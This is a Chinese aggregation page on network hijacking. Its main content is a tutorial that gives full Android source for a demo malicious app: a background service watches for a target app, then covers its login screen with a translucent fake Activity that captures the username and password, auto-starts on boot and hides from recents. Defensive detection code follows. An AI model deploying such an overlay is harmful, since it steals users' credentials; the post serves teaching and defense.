精华内容
下载资源
问答
  • 运营商、黑客、浏览器厂商、手机厂商,通过某些方式篡改了用户正常访问的网页,插入广告或者其他一些杂七杂八的东西。在一些偏远地区、杂牌运营商尤为常见。 网络劫持的原理 DNS 劫持 一般而言,用户上网的DNS...

    现象

    运营商、黑客、浏览器厂商、手机厂商,通过某些方式篡改了用户正常访问的网页,插入广告或者其他一些杂七杂八的东西。在一些偏远地区、杂牌运营商尤为常见。

    网络劫持的原理

    • DNS 劫持 一般而言,用户上网的DNS服务器都是运营商分配的,所以在这个节点上,运营商可以为所欲为。 例如,访问http://jiankang.qq.com/index.html,正常DNS应该返回腾讯的ip,而DNS劫持后,会返回一个运营商的中间服务器ip。访问该服务器会一致性的返回302,让用户浏览器跳转到预处理好的带广告的网页,在该网页中再通过iframe打开用户原来访问的地址。

    • HTTP劫持 在运营商的路由器节点上,设置协议检测,一旦发现是HTTP请求,而且是html类型请求,则拦截处理。 常见有两种:

      • 类似DNS劫持返回302让用户浏览器跳转到另外的地址。(钓鱼网站就是这么干)
      • 在服务器返回的HTML数据中插入js或dom节点(广告)。(比较常见)

    譬如下图:

    被劫持怎么办?

    • 对于用户来说,最最直接的就是向运营商投诉。
    • 在html 上加上 <meta http-equiv="Cache-Control" content="no-siteapp"> <meta http-equiv="Cache-Control" content="no-transform " /> 百度官方给的禁止转码声明。
    • 最有用的方式,使用HTTPS ,不让数据那么明显的裸奔。 https 加了SSL协议,会对数据进行加密。
    • 在开发的网页中加入代码过滤,大概思路就是用JavaScript代码检查所有的外链是否属于白名单。

    各种劫持的手段都有:
      1. 直接返回一个带广告的HTML
      2. 在原html中插入js,再通过js脚本安插广告;
      3. iframe展示原来正常网页。

    js实际对抗

    • 在window 监听 DOMNodeInserted 事件,上报插入的dom、分析插入的dom 信息。(通常匹配所有的url,逐个比较是否白名单域名,如果不是,则判定为劫持,上报的同时,移除dom.parentNode.removeChild(dom)); 刚插入的dom。小心误伤。比较稳的操作是做监测统计,再决策预防。
        ul.addEventListener('DOMNodeInserted',function (e) {
            console.log(e.srcElement)
            console.log(ul.childElementCount)
        })
        ul.addEventListener('DOMNodeRemoved',function (e) {
            console.log(e.srcElement)
            console.log(ul.childElementCount)
        })
    
    复制代码

    如下:

        function checkDivHijack(e) {
            var dom = e ? e.srcElement : document.documentElement;
            if (!dom.outerHTML) {
                return;     //e不是一个dom,只是插入一段文本
            }
            var imgList = (dom.nodeName.toUpperCase() == 'IMG') ? [dom] : dom.getElementsByTagName('img');
            if (!imgList || imgList.length == 0) {
                return;
            }
            var httpReg = /^http:\/\/(.*\.qq\.com|.*\.gtimg\.cn|.*\.qlogo\.cn|.*\.qpic\.cn)\//;
            var base64Reg = /^data:image/;
            var src;
            var hijack = false;
            for (var i = 0; i < imgList.length; i++) {
                src = imgList[i].src;
                if (!httpReg.test(src) && !base64Reg.test(src)) {
                    hijack = true;
                    break;
                }
            }
         }
    
    复制代码

    但这样也有漏洞,如果运营商通过div+style设置背景的方式显示广告图,上述代码就无法检查出来。

    • 如果是iframe 插入的情况,比较self 和top是否相同来处理
        function checkIframeHijack() {
            var flag = 'iframe_hijack_redirected';
            if (getURLParam(flag)) {
                sendHijackReport('jiankang.hijack.iframe_ad', 'iframe hijack: ' + location.href);
            } else {
                if (self != top) {
                    var url = location.href;
                    var parts = url.split('#');
                    if (location.search) {
                        parts[0] += '&' + flag + '=1';
                    } else {
                        parts[0] += '?' + flag + '=1';
                    }
                    try {
                        top.location = parts.join('#');
                    } catch (e) {
                    }
                }
            }
        }
    复制代码

    eg:

    window.addEventListener('DOMNodeInserted', checkDivHijack);    
    function checkDivHijack(e) {
            var html = e ? (e.srcElement.outerHTML || e.srcElement.wholeText) : $('html').html();
            var reg = /http:\/\/([^\/]+)\//g;
            var urlList = html.match(reg);
            if (!urlList || urlList.length == 0) {
                return;
            }
            reg = /^http:\/\/(.*\.qq\.com|.*\.gtimg\.cn|.*\.qlogo\.cn|.*\.qpic\.cn|.*\.wanggou\.com)\/$/;
            var hijack = false;
            for (var i = 0; i < urlList.length; i++) {
                if (!reg.test(urlList[i])) {
                    hijack = true;
                    break;
                }
            }
    }
    
    复制代码

    最终,根本解决办法是使用HTTPS.

    如何遍历一个dom 树

    function searchDom( node ){
        // 对node 节点处理
        if(node && node.nodeType === 1){
            console.log(node.tagName)
            if(node.tagName === 'IMG'){
                // ...  做白名单判断
            }
        }
        var i = 0, childNodes = node.childNodes, item; 
        for(; i < childNodes.length; i++){
            item = childNodes[i];
            if(item.nodeType === 1){
                // 递归遍历子节点
                searchDom(item)
            }
        }
    }
    
    复制代码

    参考链接
    参考链接
    https劫持

    3-5年内部岗位(平安、乐信、500万、vivo、oppo)推荐机会,欢迎发简历到: zgxie@126.com

    展开全文
  • 立统SecVision视频会议系统安全防护解决方案 --防止视频会议被劫持手机拍摄水印朔源、会议录像泄密

    立统SecVision视频会议系统安全防护解决方案 --防止视频会议被劫持、手机拍摄水印朔源、会议录像防泄密
    Secvision视频会议安全解决方案

    展开全文
  • HTTP劫持对于运营商来说,再简单不过了,当然,HTTP劫持并不是运营商才能做的事,一些黑客、浏览器厂商、手机厂商都可以做到,显然这个锅不能让运营商一个人来背,那么HTTP被劫持怎么办,如何预防了,HTTP网络劫持的...

    网站HTTP被劫持怎么办?在上网的过程中,我们经常会遇到DNS或者http被劫持的情况。HTTP劫持对于运营商来说,再简单不过了,当然,HTTP劫持并不是运营商才能做的事,一些黑客、浏览器厂商、手机厂商都可以做到,显然这个锅不能让运营商一个人来背,那么HTTP被劫持怎么办,如何预防了,HTTP网络劫持的原理与过程又是什么呢?
    IIS7网站监控可以及时防控网站风险,快速准确监控网站是否遭到各种劫持攻击,网站在全国是否能正常打开(查看域名是否被墙),精准的DNS污染检测,具备网站打开速度检测功能,第一时间知道网站是否被黑、被入侵、被改标题、被挂黑链。精益求精的产品,缺陷为零数据提供!
    它可以做到以下功能:
    1、检测网站是否被黑
    2、检测网站是否被劫持
    3、检测域名是否被墙
    4、检测DNS是否被污染
    5、网站真实的完全打开时间(独家)
    6、拥有独立监控后台,24小时定时监控域名
    官方图:
    在这里插入图片描述
    在这里插入图片描述官方地址:IIS7网站监控

    什么是HTTP劫持?
    在用户的客户端与其要访问的服务器经过网络协议协调后,二者之间建立了一条专用的数据通道,用户端程序在系统中开放指定网络端口用于接收数据报文,服务器端将全部数据按指定网络协议规则进行分解打包,形成连续数据报文。

    HTTP网络劫持的原理
    在用户的浏览器连上被访问的网站服务器,发送了HTTP请求后,运营商的路由器会首先收到此次HTTP请求,之后运营商路由器的旁路设备标记此TCP连接为HTTP协议,之后可以抢在网站服务器返回数据之前发送HTTP协议的302代码进行下载软件的劫持,浏览器收到302代码后就会跳转到错误的软件下载地址下载软件了,随后网站服务器的真正数据到达后反而会被丢弃。或者,旁路设备在标记此TCP连接为HTTP协议后,直接返回修改后的HTML代码,导致浏览器中被插入了运营商的广告,随后网站服务器的真正数据到达后最终也是被丢弃。

    从上述原理中看出,如果需要进行HTTP劫持,首先需要进行标记:如果是HTTP协议,那么进行劫持,否则不进行劫持。那么,是否有一种方法,既可以避免被旁路设备标记为HTTP协议,而目标网站收到的仍旧是原来的HTTP请求,

    HTTP被劫持怎么办?
    如果确认遭遇了HTTP劫持,可以向ISP(互联网服务提供商,即向广大用户综合提供互联网接入业务、信息业务、和增值业务的电信运营商。)客服强烈投诉,来达到免于被劫持的目的。因为劫持技术本身设计中包括类似黑名单的功能,如果收到宽带用户的强烈反对,ISP会将该用户放入"黑名单"过滤掉,于是用户在短期内就不会遇到劫持的情况了。

    HTTPS的出现对利用网络劫持的企业来说,无疑是一个巨大的打击。HTTPS的出现,通过对数据的加密,使得第三方难以修改我们的数据内容。就像字条上的文字只有甲方跟丙方能够看懂,作为乙方根本不知道纸条上写的是什么内容,就不从下手对内容进行修改。同时,给字条加上信封,再加上一次性的印戳,使得乙方根本无法看到字条上的内容,因为一旦拆开信封,丙方就知道自己的信息被第三方看到了,从而对纸条内容产生怀疑。SSL证书就像信封,把我们的数据放在里面,只有指定的一方可以解读这个数据,一旦数据被第三方劫持,接受数据的用户就会产生不信任,从而丢弃数据。

    展开全文
  • Android之Activity劫持实例与防护手段

    千次阅读 2019-12-02 17:15:41
    用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用 界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作...

    一、什么叫Activity劫持

    这里举一个例子。用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用

    界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的,接下来会发生什么就可想而知了。

     

    二、实例

    Activity劫持的危害是非常大的,它的具体实现和一些细节,我将会用一个完整的实例说明:

    首先,我们在Android Studio中新建一个工程,项目结构如下:

    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
        android:layout_height="match_parent" >
    
        <TextView
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="Normal Activity"
            android:gravity="center_horizontal"
            android:padding="10dp"
            android:background="#ffffff"/>
        <LinearLayout
            android:id="@+id/Layout1"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_centerHorizontal="true"
            android:layout_marginTop="80dp"
            android:orientation="horizontal">
    
            <TextView
                android:text="UserName"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textColor="#000000"
                android:textSize="20dp" />
    
            <EditText
                android:id="@+id/UserNameEdit"
                android:layout_width="100dp"
                android:layout_height="wrap_content" />
        </LinearLayout>
    
        <LinearLayout
            android:id="@+id/Layout2"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_centerHorizontal="true"
            android:layout_marginTop="50dp"
            android:orientation="horizontal"
            android:layout_below="@id/Layout1">
    
            <TextView
                android:text="Password"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textColor="#000000"
                android:textSize="20dp" />
    
            <EditText
                android:id="@+id/PasswordEdit"
                android:layout_width="100dp"
                android:layout_height="wrap_content" />
        </LinearLayout>
    
        <Button
            android:id="@+id/LoginButton"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_below="@id/Layout2"
            android:layout_marginTop="5dp"
            android:layout_centerHorizontal="true"
            android:text="Login"/>
    
    </RelativeLayout>

     

     
    activity_main.xml的内容:
    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
        android:layout_height="match_parent" >
    
        <TextView
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="Normal Activity"
            android:gravity="center_horizontal"
            android:padding="10dp"
            android:background="#ffffff"/>
        <LinearLayout
            android:id="@+id/Layout1"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_centerHorizontal="true"
            android:layout_marginTop="80dp"
            android:orientation="horizontal">
    
            <TextView
                android:text="UserName"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textColor="#000000"
                android:textSize="20dp" />
    
            <EditText
                android:id="@+id/UserNameEdit"
                android:layout_width="100dp"
                android:layout_height="wrap_content" />
        </LinearLayout>
    
        <LinearLayout
            android:id="@+id/Layout2"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_centerHorizontal="true"
            android:layout_marginTop="50dp"
            android:orientation="horizontal"
            android:layout_below="@id/Layout1">
    
            <TextView
                android:text="Password"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textColor="#000000"
                android:textSize="20dp" />
    
            <EditText
                android:id="@+id/PasswordEdit"
                android:layout_width="100dp"
                android:layout_height="wrap_content" />
        </LinearLayout>
    
        <Button
            android:id="@+id/LoginButton"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_below="@id/Layout2"
            android:layout_marginTop="5dp"
            android:layout_centerHorizontal="true"
            android:text="Login"/>
    
    </RelativeLayout>
    

     


    activity_second.xml的内容:只是一个TextView控件,显示"Second Activity"而已,就不贴代码了。

    MainActivity.java的内容:
    package com.example.hac.normalapp;
    
    import android.app.Activity;
    import android.content.Intent;
    import android.os.Bundle;
    import android.view.View;
    import android.widget.Button;
    import android.widget.EditText;
    
    //一个简单的界面,模拟用户输入用户名、密码,点击按钮后就跳转到SecondActivity
    //只是为了演示正常的Activity而已,无实际功能
    public class MainActivity extends Activity {
    
        Button login = null;
        EditText userName = null;
        EditText password = null;
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
    
            login = (Button)findViewById(R.id.LoginButton);
            userName = (EditText)findViewById(R.id.UserNameEdit);
            password = (EditText)findViewById(R.id.PasswordEdit);
    
            login.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View view) {
                    Intent intent = new Intent(MainActivity.this, SecondActivity.class);
                    //启动SecondActivity
                    startActivity(intent);
                }
            });
    
        }
    }

     


    SecondActivity.java的内容:无内容,就是一个空的Activity,用于显示activity_second.xml的内容而已,不贴代码啦。
    AndroidMainfest.xml的内容:就是普通的内容,不贴代码了。

    接下来是我们的恶意软件,再新建一个工程,项目结构如下:
     
    activity_fakemain.xml的内容:我们伪造的Activity布局,模仿上面正常的Activity布局。
    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
        android:layout_height="match_parent" >
    
        <TextView
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="Normal Activity"
            android:gravity="center_horizontal"
            android:padding="10dp"
            android:background="#ffffff"
            android:visibility="invisible"/>
        <LinearLayout
            android:id="@+id/Layout1"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_centerHorizontal="true"
            android:layout_marginTop="80dp"
            android:orientation="horizontal">
    
            <TextView
                android:text="UserName"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textColor="#000000"
                android:textSize="20dp"
                android:visibility="invisible"/>
    
            <EditText
                android:id="@+id/UserNameEdit"
                android:layout_width="100dp"
                android:layout_height="wrap_content"
                android:visibility="invisible"/>
        </LinearLayout>
    
        <LinearLayout
            android:id="@+id/Layout2"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_centerHorizontal="true"
            android:layout_marginTop="50dp"
            android:orientation="horizontal"
            android:layout_below="@id/Layout1">
    
            <TextView
                android:text="Password"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:textColor="#000000"
                android:textSize="20dp"
                android:visibility="invisible"/>
    
            <EditText
                android:id="@+id/PasswordEdit"
                android:layout_width="100dp"
                android:layout_height="wrap_content"
                android:visibility="invisible"/>
        </LinearLayout>
    
        <Button
            android:id="@+id/LoginButton"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_below="@id/Layout2"
            android:layout_marginTop="5dp"
            android:layout_centerHorizontal="true"
            android:text="Login"
            android:visibility="invisible"/>
    
    </RelativeLayout>
    

    activity_main.xml的内容:

    <?xml version="1.0" encoding="utf-8"?>
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
        android:orientation="vertical" android:layout_width="match_parent"
        android:layout_height="match_parent">
        <TextView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="Start"
            android:textSize="50dp"/>
    
        <Button
            android:id="@+id/StartServiceButton"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="StartService"
            android:padding="20dp"
            android:layout_gravity="center_horizontal"/>
    
    
    </LinearLayout>

    activity_main.xml的内容:

    <?xml version="1.0" encoding="utf-8"?>
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
        android:orientation="vertical" android:layout_width="match_parent"
        android:layout_height="match_parent">
        <TextView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="Start"
            android:textSize="50dp"/>
    
        <Button
            android:id="@+id/StartServiceButton"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="StartService"
            android:padding="20dp"
            android:layout_gravity="center_horizontal"/>
    
    </LinearLayout>

     

    AutoStartReceiver.java的内容:
    package com.example.hac.evilapp;
    
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    
    //用于开机自动启动HijackService的Receiver,它能够响应“android.intent.action.BOOT_COMPLETED”
    public class AutoStartReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
                Intent _intent = new Intent(context, HijackService.class);
                //启动HijackService
                context.startService(_intent);
            }
        }
    }

    EvilApplication.java的内容:

    package com.example.hac.evilapp;
    
    import android.app.Application;
    import java.util.ArrayList;
    import java.util.List;
    
    public class EvilApplication extends Application{
        //存放已经被劫持的程序
        List<String> hijackedList = new ArrayList<String>();
    
        public boolean hasProgressBeHijacked(String processName) {
            return hijackedList.contains(processName);
        }
    
        public void addHijacked(String processName) {
            hijackedList.add(processName);
        }
    
        public void clearHijacked() {
            hijackedList.clear();
        }
    
    }

    FakeMainActivity.java的内容:

    package com.example.hac.evilapp;
    
    import android.app.Activity;
    import android.os.Bundle;
    import android.view.View;
    import android.widget.Button;
    import android.widget.EditText;
    import android.widget.Toast;
    import java.util.Timer;
    import java.util.TimerTask;
    
    public class FakeMainActivity extends Activity {
        Button login = null;
        EditText userName = null;
        EditText password = null;
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_fakemain);
            login = (Button)findViewById(R.id.LoginButton);
            userName = (EditText)findViewById(R.id.UserNameEdit);
            password = (EditText)findViewById(R.id.PasswordEdit);
    
            //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity
            //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后,再将我们的控件显示出来
            //我本来是想让我们伪造的Activity直接在原位淡入的,但没有实现,郁闷
            //无奈只能用这个本方法,如果大家有更好的办法,请赐教
            Timer timer = new Timer();
            TimerTask task = new TimerTask() {
                @Override
                public void run() {
                    runOnUiThread(new Runnable(){
                        @Override
                        public void run() {
                            userName.setVisibility(View.VISIBLE);
                            password.setVisibility(View.VISIBLE);
                            login.setVisibility(View.VISIBLE);
                        }});
                }
            };
            timer.schedule(task, 1000);
    
            login.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View view) {
                    //这里为了显示效果,将用户输入的内容显示出来,真正的恶意软件则会直接将信息发送给自己
                    Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show();
                    //为了伪造的Activity弹出时不那么明显
                    userName.setVisibility(View.INVISIBLE);
                    password.setVisibility(View.INVISIBLE);
                    login.setVisibility(View.INVISIBLE);
                    finish();
    
                }
            });
        }
    }

    HijackService.java的内容:

    package com.example.hac.evilapp;
    
    import android.app.ActivityManager;
    import android.app.Service;
    import android.content.Context;
    import android.content.Intent;
    import android.os.Handler;
    import android.os.IBinder;
    import android.util.Log;
    
    import java.util.HashMap;
    import java.util.List;
    
    public class HijackService extends Service {
    
        //targetMap用于存放我们的目标程序
        HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
        Handler handler = new Handler();
        boolean isStart = false;
    
        //我们新建一个Runnable对象,每隔200ms进行一次搜索
        Runnable searchTarget = new Runnable() {
            @Override
            public void run() {
                //得到ActivityManager
                ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
                //通过ActivityManager将当前正在运行的进程存入processInfo中
                List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
                Log.w("恶意软件", "遍历进程");
                //遍历processInfo中的进程信息,看是否有我们的目标
                for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
                    //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
                    if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                        if (targetMap.containsKey(_processInfo.processName)) {
                            // 调用hijack方法进行劫持
                            hijack(_processInfo.processName);
                        } else {
                            Log.w("进程", _processInfo.processName);
                        }
                    }
                }
                handler.postDelayed(searchTarget, 200);
            }
        };
    
        //进行Activity劫持的函数
        private void hijack(String processName) {
            //这里判断我们的目标程序是否已经被劫持过了
            if (((EvilApplication) getApplication())
                    .hasProgressBeHijacked(processName) == false) {
                Log.w("恶意软件", "开始劫持"+processName);
                Intent intent = new Intent(getBaseContext(),
                        targetMap.get(processName));
                //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶
                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                //启动我们伪造的Activity
                getApplication().startActivity(intent);
                //将目标程序加入到已劫持列表中
                ((EvilApplication) getApplication()).addHijacked(processName);
                Log.w("恶意软件", "已经劫持");
            }
        }
        @Override
        public void onStart(Intent intent, int startId) {
            super.onStart(intent, startId);
            if (!isStart) {
                //将我们的目标加入targetMap中
                //这里,key为我们的目标进程,value为我们伪造的Activity
                targetMap.put("com.example.hac.normalapp",
                        FakeMainActivity.class);
                //启动searchTarget
                handler.postDelayed(searchTarget, 1000);
                isStart = true;
            }
        }
    
        @Override
        public boolean stopService(Intent name) {
            isStart = false;
            Log.w("恶意软件", "停止劫持");
            //清空劫持列表
            ((EvilApplication) getApplication()).clearHijacked();
            //停止searchTarget
            handler.removeCallbacks(searchTarget);
            return super.stopService(name);
        }
    
        @Override
        public IBinder onBind(Intent intent) {
            return null;
        }
    }

    StartServiceActivity.java的内容:

    package com.example.hac.evilapp;
    
    import android.app.Activity;
    import android.content.Intent;
    import android.os.Bundle;
    import android.view.View;
    import android.widget.Button;
    
    //用于手动启动我们的HijackService,真正的恶意软件通常不会有这样的一个Activity
    public class StartServiceActivity extends Activity {
        Button startButton = null;
    
        @Override
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
    
            startButton = (Button)findViewById(R.id.StartServiceButton);
    
            startButton.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View view) {
                    Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);
                    startService(intent2);
                }
            });
        }
    }

    colors.xml的内容:

    <?xml version="1.0" encoding="utf-8"?>
    <resources>
        <color name="translucent_background">#00000000</color>>
    </resources>

    styles.xml的内容:

    <resources>
    
        <!-- Base application theme. -->
        <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
            <!-- Customize your theme here. -->
        </style>
    
        <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar">
    
            <item name="android:windowBackground">@color/translucent_background</item>
            <item name="android:windowIsTranslucent">true</item>
            <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>
        </style>
    
    </resources>

     

    AndroidMainfest.xml的内容:注意HijackService和AutoStartReceiver要在这里注册,且要添加相应的权限。另外,添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现,这将提升其危险程度。
    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="com.example.hac.evilapp" >
    
        <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    
        <application
    
            android:name=".EvilApplication"
            android:allowBackup="true"
            android:icon="@drawable/ic_launcher"
            android:label="@string/app_name"
            android:theme="@style/AppTheme" >
            <activity
                android:name=".StartServiceActivity"
                android:label="@string/app_name"
    
                android:excludeFromRecents="true">
                <intent-filter>
                    <action android:name="android.intent.action.MAIN" />
    
                    <category android:name="android.intent.category.LAUNCHER" />
                </intent-filter>
            </activity>
            <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/>
            <service android:name=".HijackService" ></service>
            <receiver
                android:name=".AutoStartReceiver"
                android:enabled="true"
                android:exported="true" >
                <intent-filter>
                    <action android:name="android.intent.action.BOOT_COMPLETED" />
                </intent-filter>
            </receiver>
    
        </application>
    
    </manifest>

    项目工程下载(ChinaUnix对文件大小有限制,只能传百度网盘了):

    http://pan.baidu.com/s/1eQ8JF5w
     

    三、防护手段

    目前,还没有什么专门针对Activity劫持的防护方法,因为,这种攻击是用户层面上的,目前还无法从代码层面上根除。
    但是,我们可以适当地在APP中给用户一些警示信息,提示用户其登陆界面以被覆盖,并给出覆盖正常Activity的类名,示例如
    下:
    1、在前面建立的正常Activity的登陆界面(也就是MainActivity)中重写onKeyDown方法和onPause方法,这样一来,当其被覆盖时,就能够弹出警示信息,代码如下:
    @Override
        public boolean onKeyDown(int keyCode, KeyEvent event) {
            //判断程序进入后台是否是用户自身造成的(触摸返回键或HOME键),是则无需弹出警示。
            if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){
                needAlarm = false;
            }
            return super.onKeyDown(keyCode, event);
        }
    
        @Override
        protected void onPause() {
           //若程序进入后台不是用户自身造成的,则需要弹出警示
            if(needAlarm) {
                //弹出警示信息
                Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖,请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();
                //启动我们的AlarmService,用于给出覆盖了正常Activity的类名
                Intent intent = new Intent(this, AlarmService.class);
                startService(intent);
            }
            super.onPause();
        }

    2、实现AlarmService.java,代码如下:

    package com.example.hac.normalapp;
    
    import android.app.ActivityManager;
    import android.app.Service;
    import android.content.Context;
    import android.content.Intent;
    import android.os.Handler;
    import android.os.IBinder;
    import android.widget.Toast;
    
    public class AlarmService extends Service{
    
        boolean isStart = false;
        Handler handler = new Handler();
    
        Runnable alarmRunnable = new Runnable() {
            @Override
            public void run() {
                //得到ActivityManager
                ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
                //getRunningTasks会返回一个List,List的大小等于传入的参数。
                //get(0)可获得List中的第一个元素,即栈顶的task
                ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);
                //得到当前栈顶的类名,按照需求,也可以得到完整的类名和包名
                String shortClassName = info.topActivity.getShortClassName(); //类名
                //完整类名
                //String className = info.topActivity.getClassName();
                //包名
                //String packageName = info.topActivity.getPackageName();
                Toast.makeText(getApplicationContext(), "当前运行的程序为"+shortClassName, Toast.LENGTH_LONG).show();
            }
        };
        @Override
        public int onStartCommand(Intent intent, int flag, int startId) {
            super.onStartCommand(intent, flag, startId);
            if(!isStart) {
                isStart = true;
                //启动alarmRunnable
                handler.postDelayed(alarmRunnable, 1000);
                stopSelf();
            }
            return START_STICKY;
        }
        @Override
        public IBinder onBind(Intent intent) {
            return null;
        }
    }
    


    3、最后在AndroidManifest.xml中注册AlarmService即可。

    展开全文
  • 越来越多的网站被劫持,像跳转到彩piao网站,du博网站的情况时有发生,很多人可能都会经历过,电脑打开网站,以及手机打开移动端网站都会跳转到其他网站上去,这个就是网站被劫持跳转,那么网站被跳转的背后究竟是因...
  • 什么是 Activity 劫持 Android 为了提高用户的用户体验,对于不同的应用程序之间的切换,基本上是无缝。举一个例子,用户打开安卓手机上的某一应用例如支付宝,进入到登陆页面,这时恶意软件检测到用户的这一动作,...
  • App客户端劫持及简单防护

    千次阅读 2018-07-02 12:33:34
    转自:http://blog.nsfocus.net/app-client-hijacking-simple-protection/Android APP客户端安全评估中,有一项叫做activity界面劫持。该bug的攻击场景是,当手机中的恶意APP检测到当前运行的为目标APP时,就启动...
  • 用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用 界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作...
  • 前段时间,国外知名的安全公司fireeye发表了一篇病毒分析文章,讲述的主角是一个专门针对手机银行的android手机病毒。文章链接如下:...
  • 通常,在开发手机 APP 的时候,与服务器的连接都是通过域名来访问服务器,...HTTPDNS是面向移动开发者推出的一款域名解析产品,具有域名防劫持、精准调度的特性。 HTTPDNS使用HTTP协议进行域名解析,代替现有基于UD...
  • 梆梆SDKs详细分析-界面劫持SDK

    千次阅读 2016-02-16 10:29:27
     前段时间,国外知名的安全公司fireeye发表了一篇病毒分析文章,讲述的主角是一个专门针对手机银行的android手机病毒。文章链接如下:...
  • 举一个例子,用户打开安卓手机上的某一应用例如支付宝,进入到登陆页面,这时恶意软件检测到用户的这一动作,立即弹出一个与支付宝界面相同的 Activity,覆盖掉了合法的 Activity,用户几乎无法察觉,该用户接下来...
  • Android APP客户端安全评估中,有一项叫做activity界面劫持。该bug的攻击场景是,当手机中的恶意APP检测到当前运行的为目标APP时,就启动自身的钓鱼界面覆盖到目标APP之上,以欺骗用户输入账号密码等。本文将要归纳...
  • 前言 前段时间,国外知名的安全公司fireeye发表了一篇病毒分析文章,讲述的主角是一个专门针对手机银行的android手机病毒。文章链接如下:...
  • Android APP客户端安全评估中,有一项叫做activity界面劫持。 该bug的攻击场景是,当手机中的恶意APP检测到当前运行的为目标APP时,就启动自身的钓鱼界面覆盖到目标APP之上,以欺骗用户输入账号密码等。   本文...
  • 黑域app是一款震惊国内外的手机防护神器。...补丁模式通过修改系统目录 /system/framework 下的文件,即打补丁,以劫持几个系统 API ,保证阻止列表里的应用只在需要的情况下才启动,达到原先使用阻止运行的效果。
  • HTTP劫持对于运营商来说,再简单不过了,当然,HTTP劫持并不是运营商才能做的事,一些黑客、浏览器厂商、手机厂商都可以做到,显然这个锅不能让运营商一个人来背,那么HTTP被劫持怎么办,如何预防了,HTTP网络劫持的...
